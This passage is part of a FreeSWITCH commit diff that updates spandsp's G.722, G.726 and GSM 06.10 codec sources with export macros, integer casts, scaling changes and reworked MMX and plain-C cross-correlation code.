-int g722_decode(g722_decode_state_t *s, int16_t amp[], const uint8_t g722_data[], int len)
+SPAN_DECLARE(int) g722_decode(g722_decode_state_t *s, int16_t amp[], const uint8_t g722_data[], int len)
 {
     int rlow;
     int ihigh;
@@ -349,7 +358,7 @@
 
         /* Block 2L, INVQAL */
         wd2 = qm4[wd1];
-        dlow = ((int32_t) s->band[0].det*(int32_t) wd2) >> 15;
+        dlow = (int16_t) (((int32_t) s->band[0].det*(int32_t) wd2) >> 15);
 
         /* Block 3L, LOGSCL */
         wd2 = rl42[wd1];
@@ -359,13 +368,13 @@
             wd1 = 0;
         else if (wd1 > 18432)
             wd1 = 18432;
-        s->band[0].nb = wd1;
+        s->band[0].nb = (int16_t) wd1;
             
         /* Block 3L, SCALEL */
         wd1 = (s->band[0].nb >> 6) & 31;
         wd2 = 8 - (s->band[0].nb >> 11);
         wd3 = (wd2 < 0)  ?  (ilb[wd1] << -wd2)  :  (ilb[wd1] >> wd2);
-        s->band[0].det = wd3 << 2;
+        s->band[0].det = (int16_t) (wd3 << 2);
 
         block4(&s->band[0], dlow);
         
@@ -373,7 +382,7 @@
         {
             /* Block 2H, INVQAH */
             wd2 = qm2[ihigh];
-            dhigh = ((int32_t) s->band[1].det*(int32_t) wd2) >> 15;
+            dhigh = (int16_t) (((int32_t) s->band[1].det*(int32_t) wd2) >> 15);
             /* Block 5H, RECONS */
             /* Block 6H, LIMIT */
             rhigh = saturate15(dhigh + s->band[1].s);
@@ -386,13 +395,13 @@
                 wd1 = 0;
             else if (wd1 > 22528)
                 wd1 = 22528;
-            s->band[1].nb = wd1;
+            s->band[1].nb = (int16_t) wd1;
             
             /* Block 3H, SCALEH */
             wd1 = (s->band[1].nb >> 6) & 31;
             wd2 = 10 - (s->band[1].nb >> 11);
             wd3 = (wd2 < 0)  ?  (ilb[wd1] << -wd2)  :  (ilb[wd1] >> wd2);
-            s->band[1].det = wd3 << 2;
+            s->band[1].det = (int16_t) (wd3 << 2);
 
             block4(&s->band[1], dhigh);
         }
@@ -406,17 +415,20 @@
         {
             if (s->eight_k)
             {
-                amp[outlen++] = (int16_t) rlow;
+                /* We shift by 1 to allow for the 15 bit input to the G.722 algorithm. */
+                amp[outlen++] = (int16_t) (rlow << 1);
             }
             else
             {
                 /* Apply the QMF to build the final signal */
-                s->x[s->ptr] = rlow + rhigh;
-                s->y[s->ptr] = rlow - rhigh;
+                s->x[s->ptr] = (int16_t) (rlow + rhigh);
+                s->y[s->ptr] = (int16_t) (rlow - rhigh);
                 if (++s->ptr >= 12)
                     s->ptr = 0;
-                amp[outlen++] = (int16_t) (vec_circular_dot_prodi16(s->y, qmf_coeffs_rev, 12, s->ptr) >> 12);
-                amp[outlen++] = (int16_t) (vec_circular_dot_prodi16(s->x, qmf_coeffs_fwd, 12, s->ptr) >> 12);
+                /* We shift by 12 to allow for the QMF filters (DC gain = 4096), less 1
+                   to allow for the 15 bit input to the G.722 algorithm. */
+                amp[outlen++] = (int16_t) (vec_circular_dot_prodi16(s->y, qmf_coeffs_rev, 12, s->ptr) >> 11);
+                amp[outlen++] = (int16_t) (vec_circular_dot_prodi16(s->x, qmf_coeffs_fwd, 12, s->ptr) >> 11);
             }
         }
     }
@@ -424,7 +436,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-g722_encode_state_t *g722_encode_init(g722_encode_state_t *s, int rate, int options)
+SPAN_DECLARE(g722_encode_state_t *) g722_encode_init(g722_encode_state_t *s, int rate, int options)
 {
     if (s == NULL)
     {
@@ -450,14 +462,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int g722_encode_release(g722_encode_state_t *s)
+SPAN_DECLARE(int) g722_encode_release(g722_encode_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) g722_encode_free(g722_encode_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int g722_encode(g722_encode_state_t *s, uint8_t g722_data[], const int16_t amp[], int len)
+SPAN_DECLARE(int) g722_encode(g722_encode_state_t *s, uint8_t g722_data[], const int16_t amp[], int len)
 {
     int16_t dlow;
     int16_t dhigh;
@@ -496,7 +514,8 @@
         {
             if (s->eight_k)
             {
-                xlow = amp[j++];
+                /* We shift by 1 to allow for the 15 bit input to the G.722 algorithm. */
+                xlow = amp[j++] >> 1;
             }
             else
             {
@@ -507,8 +526,11 @@
                     s->ptr = 0;
                 sumodd = vec_circular_dot_prodi16(s->x, qmf_coeffs_fwd, 12, s->ptr);
                 sumeven = vec_circular_dot_prodi16(s->y, qmf_coeffs_rev, 12, s->ptr);
-                xlow = (sumeven + sumodd) >> 13;
-                xhigh = (sumeven - sumodd) >> 13;
+                /* We shift by 12 to allow for the QMF filters (DC gain = 4096), plus 1
+                   to allow for us summing two filters, plus 1 to allow for the 15 bit
+                   input to the G.722 algorithm. */
+                xlow = (int16_t) ((sumeven + sumodd) >> 14);
+                xhigh = (int16_t) ((sumeven - sumodd) >> 14);
             }
         }
         /* Block 1L, SUBTRA */
@@ -528,12 +550,12 @@
         /* Block 2L, INVQAL */
         ril = ilow >> 2;
         wd2 = qm4[ril];
-        dlow = ((int32_t) s->band[0].det*(int32_t) wd2) >> 15;
+        dlow = (int16_t) (((int32_t) s->band[0].det*(int32_t) wd2) >> 15);
 
         /* Block 3L, LOGSCL */
         il4 = rl42[ril];
         wd = ((int32_t) s->band[0].nb*(int32_t) 127) >> 7;
-        s->band[0].nb = wd + wl[il4];
+        s->band[0].nb = (int16_t) (wd + wl[il4]);
         if (s->band[0].nb < 0)
             s->band[0].nb = 0;
         else if (s->band[0].nb > 18432)
@@ -543,7 +565,7 @@
         wd1 = (s->band[0].nb >> 6) & 31;
         wd2 = 8 - (s->band[0].nb >> 11);
         wd3 = (wd2 < 0)  ?  (ilb[wd1] << -wd2)  :  (ilb[wd1] >> wd2);
-        s->band[0].det = wd3 << 2;
+        s->band[0].det = (int16_t) (wd3 << 2);
 
         block4(&s->band[0], dlow);
         
@@ -565,12 +587,12 @@
 
             /* Block 2H, INVQAH */
             wd2 = qm2[ihigh];
-            dhigh = ((int32_t) s->band[1].det*(int32_t) wd2) >> 15;
+            dhigh = (int16_t) (((int32_t) s->band[1].det*(int32_t) wd2) >> 15);
 
             /* Block 3H, LOGSCH */
             ih2 = rh2[ihigh];
             wd = ((int32_t) s->band[1].nb*(int32_t) 127) >> 7;
-            s->band[1].nb = wd + wh[ih2];
+            s->band[1].nb = (int16_t) (wd + wh[ih2]);
             if (s->band[1].nb < 0)
                 s->band[1].nb = 0;
             else if (s->band[1].nb > 22528)
@@ -580,7 +602,7 @@
             wd1 = (s->band[1].nb >> 6) & 31;
             wd2 = 10 - (s->band[1].nb >> 11);
             wd3 = (wd2 < 0)  ?  (ilb[wd1] << -wd2)  :  (ilb[wd1] >> wd2);
-            s->band[1].det = wd3 << 2;
+            s->band[1].det = (int16_t) (wd3 << 2);
 
             block4(&s->band[1], dhigh);
             code = ((ihigh << 6) | ilow) >> (8 - s->bits_per_sample);

Deleted: freeswitch/branches/seven/libs/spandsp/src/g722_decode.c

Deleted: freeswitch/branches/seven/libs/spandsp/src/g722_encode.c

Modified: freeswitch/branches/seven/libs/spandsp/src/g726.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/g726.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/g726.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -48,25 +48,25 @@
  * 2550 Garcia Avenue
  * Mountain View, California  94043
  *
- * $Id: g726.c,v 1.22 2008/07/02 14:48:25 steveu Exp $
+ * $Id: g726.c,v 1.28 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <memory.h>
 #include <stdlib.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/dc_restore.h"
@@ -75,6 +75,9 @@
 #include "spandsp/g711.h"
 #include "spandsp/g726.h"
 
+#include "spandsp/private/bitstream.h"
+#include "spandsp/private/g726.h"
+
 /*
  * Maps G.726_16 code word to reconstructed scale factor normalized log
  * magnitude values.
@@ -994,7 +997,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-g726_state_t *g726_init(g726_state_t *s, int bit_rate, int ext_coding, int packing)
+SPAN_DECLARE(g726_state_t *) g726_init(g726_state_t *s, int bit_rate, int ext_coding, int packing)
 {
     int i;
 
@@ -1054,17 +1057,23 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int g726_release(g726_state_t *s)
+SPAN_DECLARE(int) g726_release(g726_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) g726_free(g726_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int g726_decode(g726_state_t *s,
-                int16_t amp[],
-                const uint8_t g726_data[],
-                int g726_bytes)
+SPAN_DECLARE(int) g726_decode(g726_state_t *s,
+                              int16_t amp[],
+                              const uint8_t g726_data[],
+                              int g726_bytes)
 {
     int i;
     int samples;
@@ -1117,10 +1126,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int g726_encode(g726_state_t *s,
-                uint8_t g726_data[],
-                const int16_t amp[],
-                int len)
+SPAN_DECLARE(int) g726_encode(g726_state_t *s,
+                              uint8_t g726_data[],
+                              const int16_t amp[],
+                              int len)
 {
     int i;
     int g726_bytes;

Modified: freeswitch/branches/seven/libs/spandsp/src/gsm0610_decode.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/gsm0610_decode.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/gsm0610_decode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,28 +25,29 @@
  * This code is based on the widely used GSM 06.10 code available from
  * http://kbs.cs.tu-berlin.de/~jutta/toast.html
  *
- * $Id: gsm0610_decode.c,v 1.22 2008/09/19 14:02:05 steveu Exp $
+ * $Id: gsm0610_decode.c,v 1.25 2009/02/03 16:28:39 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <assert.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <stdlib.h>
 #include <memory.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/bitstream.h"
 #include "spandsp/saturated.h"
 #include "spandsp/gsm0610.h"
@@ -101,7 +102,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int gsm0610_unpack_none(gsm0610_frame_t *s, const uint8_t c[])
+SPAN_DECLARE(int) gsm0610_unpack_none(gsm0610_frame_t *s, const uint8_t c[])
 {
     int i;
     int j;
@@ -123,7 +124,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int gsm0610_unpack_wav49(gsm0610_frame_t *s, const uint8_t c[])
+SPAN_DECLARE(int) gsm0610_unpack_wav49(gsm0610_frame_t *s, const uint8_t c[])
 {
     uint16_t sr;
     int i;
@@ -265,7 +266,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int gsm0610_unpack_voip(gsm0610_frame_t *s, const uint8_t c[33])
+SPAN_DECLARE(int) gsm0610_unpack_voip(gsm0610_frame_t *s, const uint8_t c[33])
 {
     int i;
 
@@ -310,7 +311,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int gsm0610_decode(gsm0610_state_t *s, int16_t amp[], const uint8_t code[], int len)
+SPAN_DECLARE(int) gsm0610_decode(gsm0610_state_t *s, int16_t amp[], const uint8_t code[], int len)
 {
     gsm0610_frame_t frame[2];
     int bytes;

Modified: freeswitch/branches/seven/libs/spandsp/src/gsm0610_encode.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/gsm0610_encode.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/gsm0610_encode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,28 +25,29 @@
  * This code is based on the widely used GSM 06.10 code available from
  * http://kbs.cs.tu-berlin.de/~jutta/toast.html
  *
- * $Id: gsm0610_encode.c,v 1.26 2008/09/19 14:02:05 steveu Exp $
+ * $Id: gsm0610_encode.c,v 1.30 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <assert.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <stdlib.h>
 #include <memory.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/bitstream.h"
 #include "spandsp/saturated.h"
 #include "spandsp/gsm0610.h"
@@ -105,8 +106,15 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-gsm0610_state_t *gsm0610_init(gsm0610_state_t *s, int packing)
+SPAN_DECLARE(int) gsm0610_set_packing(gsm0610_state_t *s, int packing)
 {
+    s->packing = packing;
+    return 0;    
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(gsm0610_state_t *) gsm0610_init(gsm0610_state_t *s, int packing)
+{
     if (s == NULL)
     {
         if ((s = (gsm0610_state_t *) malloc(sizeof (*s))) == NULL)
@@ -121,14 +129,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int gsm0610_set_packing(gsm0610_state_t *s, int packing)
+SPAN_DECLARE(int) gsm0610_release(gsm0610_state_t *s)
 {
-    s->packing = packing;
-    return 0;    
+    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int gsm0610_release(gsm0610_state_t *s)
+SPAN_DECLARE(int) gsm0610_free(gsm0610_state_t *s)
 {
     if (s)
         free(s);
@@ -137,7 +144,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int gsm0610_pack_none(uint8_t c[], const gsm0610_frame_t *s)
+SPAN_DECLARE(int) gsm0610_pack_none(uint8_t c[], const gsm0610_frame_t *s)
 {
     int i;
     int j;
@@ -160,7 +167,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int gsm0610_pack_wav49(uint8_t c[], const gsm0610_frame_t *s)
+SPAN_DECLARE(int) gsm0610_pack_wav49(uint8_t c[], const gsm0610_frame_t *s)
 {
     uint16_t sr;
     int i;
@@ -255,7 +262,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int gsm0610_pack_voip(uint8_t c[33], const gsm0610_frame_t *s)
+SPAN_DECLARE(int) gsm0610_pack_voip(uint8_t c[33], const gsm0610_frame_t *s)
 {
     int i;
 
@@ -302,7 +309,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int gsm0610_encode(gsm0610_state_t *s, uint8_t code[], const int16_t amp[], int len)
+SPAN_DECLARE(int) gsm0610_encode(gsm0610_state_t *s, uint8_t code[], const int16_t amp[], int len)
 {
     gsm0610_frame_t frame[2];
     int bytes;

Modified: freeswitch/branches/seven/libs/spandsp/src/gsm0610_local.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/gsm0610_local.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/gsm0610_local.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,7 +25,7 @@
  * This code is based on the widely used GSM 06.10 code available from
  * http://kbs.cs.tu-berlin.de/~jutta/toast.html
  *
- * $Id: gsm0610_local.h,v 1.10 2008/04/17 14:26:56 steveu Exp $
+ * $Id: gsm0610_local.h,v 1.15 2009/03/13 15:57:29 steveu Exp $
  */
 
 #if !defined(_GSM0610_LOCAL_H_)
@@ -35,16 +35,18 @@
 
 #define	GSM0610_MAGIC                   0xD
 
+#include "spandsp/private/gsm0610.h"
+
 static __inline__ int16_t gsm_add(int16_t a, int16_t b)
 {
-#if defined(__GNUC__)  &&  defined(__i386__)
+#if defined(__GNUC__)  &&  (defined(__i386__)  ||  defined(__x86_64__))
     __asm__ __volatile__(
         " addw %2,%0;\n"
         " jno 0f;\n"
         " movw $0x7fff,%0;\n"
         " adcw $0,%0;\n"
         "0:"
-        : "=r" (a)
+        : "=&r" (a)
         : "0" (a), "ir" (b)
         : "cc"
     );
@@ -60,14 +62,14 @@
 
 static __inline__ int32_t gsm_l_add(int32_t a, int32_t b)
 {
-#if defined(__i386__)
+#if defined(__GNUC__)  &&  (defined(__i386__)  ||  defined(__x86_64__))
     __asm__ __volatile__(
         " addl %2,%0;\n"
         " jno 0f;\n"
         " movl $0x7fffffff,%0;\n"
         " adcl $0,%0;\n"
         "0:"
-        : "=r" (a)
+        : "=&r" (a)
         : "0" (a), "ir" (b)
         : "cc"
     );
@@ -212,18 +214,6 @@
 
 extern int16_t gsm0610_norm(int32_t a);
 
-#if defined(__GNUC__)  &&  defined(__i386__)
-
-void gsm0610_vec_vsraw(const int16_t *p, int n, int bits);
-
-int32_t gsm0610_vec_iprod(const int16_t *p, const int16_t *q, int n);
-
-int32_t gsm0610_vec_maxmin(const int16_t *p, int n, int16_t *out);
-
-int32_t gsm0610_max_cross_corr(const int16_t *wt, const int16_t *dp, int16_t *Nc_out);
-
 #endif
 
-#endif
-
 /*- End of include ---------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/gsm0610_long_term.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/gsm0610_long_term.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/gsm0610_long_term.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,27 +25,28 @@
  * This code is based on the widely used GSM 06.10 code available from
  * http://kbs.cs.tu-berlin.de/~jutta/toast.html
  *
- * $Id: gsm0610_long_term.c,v 1.17 2008/09/19 14:02:05 steveu Exp $
+ * $Id: gsm0610_long_term.c,v 1.24 2009/04/20 16:36:36 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <assert.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <stdlib.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/bitstream.h"
 #include "spandsp/saturated.h"
 #include "spandsp/gsm0610.h"
@@ -66,85 +67,174 @@
 
 /* 4.2.11 .. 4.2.12 LONG TERM PREDICTOR (LTP) SECTION */
 
-#if defined(__GNUC__)  &&  defined(__i386__)
-int32_t gsm0610_max_cross_corr(const int16_t *wt, const int16_t *dp, int16_t *Nc_out)
+static int32_t gsm0610_max_cross_corr(const int16_t *wt, const int16_t *dp, int16_t *index_out)
 {
-    int32_t lmax;
-    int32_t out;
+    int32_t max;
+    int32_t index;
+    int32_t res;
+    int i;
 
-    __asm__ __volatile__(
-        " emms;\n"
-        " pushl %%ebx;\n"
-        " movl $0,%%edx;\n"             /* Will be maximum inner-product */
-        " movl $40,%%ebx;\n"
-        " movl %%ebx,%%ecx;\n"          /* Will be index of max inner-product */
-        " subl $80,%%esi;\n"
-        " .p2align 2;\n"
-        "1:\n"
-        " movq (%%edi),%%mm0;\n"
-        " movq (%%esi),%%mm2;\n"
-        " pmaddwd %%mm2,%%mm0;\n"
-        " movq 8(%%edi),%%mm1;\n"
-        " movq 8(%%esi),%%mm2;\n"
-        " pmaddwd %%mm2,%%mm1;\n"
-        " paddd %%mm1,%%mm0;\n"
-        " movq 16(%%edi),%%mm1;\n"
-        " movq 16(%%esi),%%mm2;\n"
-        " pmaddwd %%mm2,%%mm1;\n"
-        " paddd %%mm1,%%mm0;\n"
-        " movq 24(%%edi),%%mm1;\n"
-        " movq 24(%%esi),%%mm2;\n"
-        " pmaddwd %%mm2,%%mm1;\n"
-        " paddd %%mm1,%%mm0;\n"
-        " movq 32(%%edi),%%mm1;\n"
-        " movq 32(%%esi),%%mm2;\n"
-        " pmaddwd %%mm2,%%mm1;\n"
-        " paddd %%mm1,%%mm0;\n"
-        " movq 40(%%edi),%%mm1;\n"
-        " movq 40(%%esi),%%mm2;\n"
-        " pmaddwd %%mm2,%%mm1;\n"
-        " paddd %%mm1,%%mm0;\n"
-        " movq 48(%%edi),%%mm1;\n"
-        " movq 48(%%esi),%%mm2;\n"
-        " pmaddwd %%mm2,%%mm1;\n"
-        " paddd %%mm1,%%mm0;\n"
-        " movq 56(%%edi),%%mm1;\n"
-        " movq 56(%%esi),%%mm2;\n"
-        " pmaddwd %%mm2,%%mm1;\n"
-        " paddd %%mm1,%%mm0;\n"
-        " movq 64(%%edi),%%mm1;\n"
-        " movq 64(%%esi),%%mm2;\n"
-        " pmaddwd %%mm2,%%mm1;\n"
-        " paddd %%mm1,%%mm0;\n"
-        " movq 72(%%edi),%%mm1;\n"
-        " movq 72(%%esi),%%mm2;\n"
-        " pmaddwd %%mm2,%%mm1;\n"
-        " paddd %%mm1,%%mm0;\n"
-        " movq %%mm0,%%mm1;\n"
-        " punpckhdq %%mm0,%%mm1;\n"        /* mm1 has high int32 of mm0 dup'd */
-        " paddd %%mm1,%%mm0;\n"
-        " movd %%mm0,%%eax;\n"                /* eax has result */
-        " cmpl %%edx,%%eax;\n"
-        " jle 2f;\n"
-        " movl %%eax,%%edx;\n"
-        " movl %%ebx,%%ecx;\n"
-        " .p2align 2;\n"
-        "2:\n"
-        " subl $2,%%esi;\n"
-        " incl %%ebx;\n"
-        " cmpl $120,%%ebx;\n"
-        " jle 1b;\n"
-        " popl %%ebx;\n"
-        " emms;\n"
-        : "=d" (lmax), "=c" (out)
-        : "D" (wt), "S" (dp)
-        : "eax"
-    );
-    *Nc_out = out;
-    return  lmax;
+    max = 0;
+    index = 40; /* index for the maximum cross-correlation */
+
+    for (i = 40;  i <= 120;  i++)
+    {
+#if defined(__GNUC__)  &&  defined(SPANDSP_USE_MMX)  &&  defined(__x86_64__)
+        __asm__ __volatile__(
+            " emms;\n"
+            " .p2align 2;\n"
+            " movq (%%rdi),%%mm0;\n"
+            " movq (%%rsi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm0;\n"
+            " movq 8(%%rdi),%%mm1;\n"
+            " movq 8(%%rsi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 16(%%rdi),%%mm1;\n"
+            " movq 16(%%rsi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 24(%%rdi),%%mm1;\n"
+            " movq 24(%%rsi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 32(%%rdi),%%mm1;\n"
+            " movq 32(%%rsi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 40(%%rdi),%%mm1;\n"
+            " movq 40(%%rsi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 48(%%rdi),%%mm1;\n"
+            " movq 48(%%rsi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 56(%%rdi),%%mm1;\n"
+            " movq 56(%%rsi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 64(%%rdi),%%mm1;\n"
+            " movq 64(%%rsi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 72(%%rdi),%%mm1;\n"
+            " movq 72(%%rsi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq %%mm0,%%mm1;\n"
+            " punpckhdq %%mm0,%%mm1;\n"         /* mm1 has high int32 of mm0 dup'd */
+            " paddd %%mm1,%%mm0;\n"
+            " movd %%mm0,%[res];\n"
+            " emms;\n"
+            : [res] "=r" (res)
+            : "D" (wt), "S" (&dp[-i])
+        );
+#elif defined(__GNUC__)  &&  defined(SPANDSP_USE_MMX)  &&  defined(__i386__)
+        __asm__ __volatile__(
+            " emms;\n"
+            " .p2align 2;\n"
+            " movq (%%edi),%%mm0;\n"
+            " movq (%%esi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm0;\n"
+            " movq 8(%%edi),%%mm1;\n"
+            " movq 8(%%esi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 16(%%edi),%%mm1;\n"
+            " movq 16(%%esi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 24(%%edi),%%mm1;\n"
+            " movq 24(%%esi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 32(%%edi),%%mm1;\n"
+            " movq 32(%%esi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 40(%%edi),%%mm1;\n"
+            " movq 40(%%esi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 48(%%edi),%%mm1;\n"
+            " movq 48(%%esi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 56(%%edi),%%mm1;\n"
+            " movq 56(%%esi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 64(%%edi),%%mm1;\n"
+            " movq 64(%%esi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq 72(%%edi),%%mm1;\n"
+            " movq 72(%%esi),%%mm2;\n"
+            " pmaddwd %%mm2,%%mm1;\n"
+            " paddd %%mm1,%%mm0;\n"
+            " movq %%mm0,%%mm1;\n"
+            " punpckhdq %%mm0,%%mm1;\n"         /* mm1 has high int32 of mm0 dup'd */
+            " paddd %%mm1,%%mm0;\n"
+            " movd %%mm0,%[res];\n"
+            " emms;\n"
+            : [res] "=r" (res)
+            : "D" (wt), "S" (&dp[-i])
+        );
+#else
+        res  = (wt[0]*dp[0 - i])
+             + (wt[1]*dp[1 - i])
+             + (wt[2]*dp[2 - i])
+             + (wt[3]*dp[3 - i])
+             + (wt[4]*dp[4 - i])
+             + (wt[5]*dp[5 - i])
+             + (wt[6]*dp[6 - i])
+             + (wt[7]*dp[7 - i])
+             + (wt[8]*dp[8 - i])
+             + (wt[9]*dp[9 - i])
+             + (wt[10]*dp[10 - i])
+             + (wt[11]*dp[11 - i])
+             + (wt[12]*dp[12 - i])
+             + (wt[13]*dp[13 - i])
+             + (wt[14]*dp[14 - i])
+             + (wt[15]*dp[15 - i])
+             + (wt[16]*dp[16 - i])
+             + (wt[17]*dp[17 - i])
+             + (wt[18]*dp[18 - i])
+             + (wt[19]*dp[19 - i])
+             + (wt[20]*dp[20 - i])
+             + (wt[21]*dp[21 - i])
+             + (wt[22]*dp[22 - i])
+             + (wt[23]*dp[23 - i])
+             + (wt[24]*dp[24 - i])
+             + (wt[25]*dp[25 - i])
+             + (wt[26]*dp[26 - i])
+             + (wt[27]*dp[27 - i])
+             + (wt[28]*dp[28 - i])
+             + (wt[29]*dp[29 - i])
+             + (wt[30]*dp[30 - i])
+             + (wt[31]*dp[31 - i])
+             + (wt[32]*dp[32 - i])
+             + (wt[33]*dp[33 - i])
+             + (wt[34]*dp[34 - i])
+             + (wt[35]*dp[35 - i])
+             + (wt[36]*dp[36 - i])
+             + (wt[37]*dp[37 - i])
+             + (wt[38]*dp[38 - i])
+             + (wt[39]*dp[39 - i]);
+#endif
+        if (res > max)
+        {
+            max = res;
+            index = i;
+        }
+        /*endif*/
+    }
+    /*endfor*/
+    *index_out = index;
+    return max;
 }
 /*- End of function --------------------------------------------------------*/
-#endif
 
 /* This procedure computes the LTP gain (bc) and the LTP lag (Nc)
    for the long term analysis filter.   This is done by calculating a
@@ -165,7 +255,6 @@
                                        int16_t *Nc_out)
 {
     int k;
-    int16_t Nc;
     int16_t bc;
     int16_t wt[40];
     int32_t L_max;
@@ -176,9 +265,6 @@
     int16_t scale;
     int16_t temp;
     int32_t L_temp;
-#if !(defined(__GNUC__)  &&  defined(__i386__))
-    int16_t lambda;
-#endif
 
     /* Search of the optimum scaling of d[0..39]. */
     dmax = 0;
@@ -216,81 +302,20 @@
     /*endfor*/
 
     /* Search for the maximum cross-correlation and coding of the LTP lag */
-#if defined(__GNUC__)  &&  defined(__i386__)
-    L_max = gsm0610_max_cross_corr(wt, dp, &Nc);
-#else
-    L_max = 0;
-    Nc = 40; /* index for the maximum cross-correlation */
-
-    for (lambda = 40;  lambda <= 120;  lambda++)
-    {
-        int32_t L_result;
-
-        L_result  = (wt[0]*dp[0 - lambda])
